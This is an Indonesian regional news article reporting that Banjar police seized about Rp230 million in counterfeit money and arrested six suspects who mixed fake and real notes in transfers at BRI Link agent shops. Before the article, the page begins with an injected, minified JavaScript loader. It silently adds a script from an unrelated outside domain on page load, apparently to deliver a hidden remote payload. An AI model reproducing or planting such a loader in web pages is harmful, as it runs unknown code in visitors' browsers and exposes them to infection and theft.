(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Uang palsu (upal) senilai Rp230 juta berhasil disita Tim Resmob Polres Banjar bersama Unit Tipiter Polres Banjar dari tangan 6 pelaku pengedar.
Kejadian bermula saat ditemukannya transaksi uang palsu di toko agen BRI Link jalan Tanjung Rema Darat, Kecamatan Martapura, Kabupaten Banjar pada Senin (26/6/2023) lalu.
Kejadian ini pun diungkap Kepolisian Resor Banjar melalui Satuan Reskrim.
Kasatreskrim Polres Banjar melalui Kanit Tipiter Polres Banjar, Ipda Fakhri Safrizal Wiratama mengatakan para pelaku melakukan transaksi di dua lokasi yakni toko BRI Link di Tanjung Rema dan Sekumpul Ujung.
Baca juga: Berhasil Tekan Stunting, Gubernur Kalsel Diganjar Penghargaan Satyalancana Wira Karya
“Yang melakukan laporan, korban di Tanjung Rema ke Polsek Martapura Kota. Lalu kami lakukan pengembangan,” terang Kasatreskrim Polres Banjar melalui Kanit Tipitee Polres Banjar, Ipda Fakhri Safrizal Wiratama, Jumat (7/7/2023).
Ipda Fakhri menjelaskan, mulanya pelaku berinisial R hendak mentransfer uang senilai Rp40 juta dari BRI Link milik korban berinisial LH.
Namun, ternyata karena limit, uang yang ditransfer hanya bisa sebesar Rp10 juta saja.
“Hal itu tetap disetujui oleh pelaku R dan uang tersebut ditransfer ke Bank Permata,” jelasnya.
Baca juga: 7 Juli Hari Pustakawan
Fakhri menambahkan bahwa transaksi upal melalui BRI Link ini merupakan modus baru.
“Modusnya adalah uang dicampur dengan perbandingan Rp 6.050.000 uang palsu dan Rp 3.950.000 uang asli,” sebutnya.
Saat diinterogasi, pelaku R mengaku disuruh oleh bosnya berinisial NK untuk melakukan transaksi uang palsu ini.
Uang palsu itu pun pelaku dapatkan dari luar pulau yakni Malang, Jawa Timur.
“Kami pun melakukan pengembangan dan ternyata yang ngirim uang palsu dari Malang. Kami lakukan penelusuran ke Malang akhirnya tersangka baru dengan inisial BS, JS tertangkap,” beber Kanit.
Baca juga: Ajukan Raperda Pajak dan Retribusi Daerah, Fraksi DPRD HSU Ingin Peningkatan PAD
Selain BS dan JS, petugas kepolisian kembali mengamankan I dan A, warga Bandung yang juga diduga sebagai pemasok uang palsu kepada BS dan JS.
“Total uang yang kami amankan sekitar Rp230 juta. Saat ini masih dilakukan pemeriksaan,” sambungnya.
Sementara itu, LH (korban) menuturkan bahwa awalnya ia tidak curiga saat tersangka hendak transfer uang via BRI Link miliknya. Uang palsu tersebut baru ketahuan saat mau disetor ke bank.
Diketahui, peredaran uang palsu ini rupanya sudah terjadi tiga kali terjadi melalui jasa pengiriman pesawat. Polres Banjar pun meminta masyarakat untuk tetap waspada terhadap peredaran uang palsu ini.
Saat ini para tersangka dijerat Pasar 36 ayat (2) dan (3) jo pasal 26 ayat (2) dan (3) Undang-Undang Nomor 7 Tahun 2011 tentang mata uang jo pasal 55 dan 56 KUHP. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
This website uses cookies.